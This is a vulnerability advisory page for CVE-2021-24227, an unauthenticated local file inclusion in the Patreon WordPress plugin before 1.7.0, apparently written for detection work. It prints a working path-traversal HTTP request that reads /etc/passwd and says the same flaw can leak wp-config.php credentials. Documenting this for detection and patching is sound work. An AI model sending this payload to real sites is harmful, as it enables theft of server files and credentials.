🔙 목록으로 돌아가기

CVE-2021-24227: Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion

TitlePatreon WordPress <1.7.0 - Unauthenticated Local File Inclusion
Authortheamanrawat
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise of the system.
RemediationUpgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.33001
CVE IDCVE-2021-24227
CWE IDCWE-200
Tags cve cve2021 wordpress patreon-connect unauth lfi patreon wp wpscan vkev vuln

🔍 Vulnerability Description

Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.

🌐 HTTP Request

GET /?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24227.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24227.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A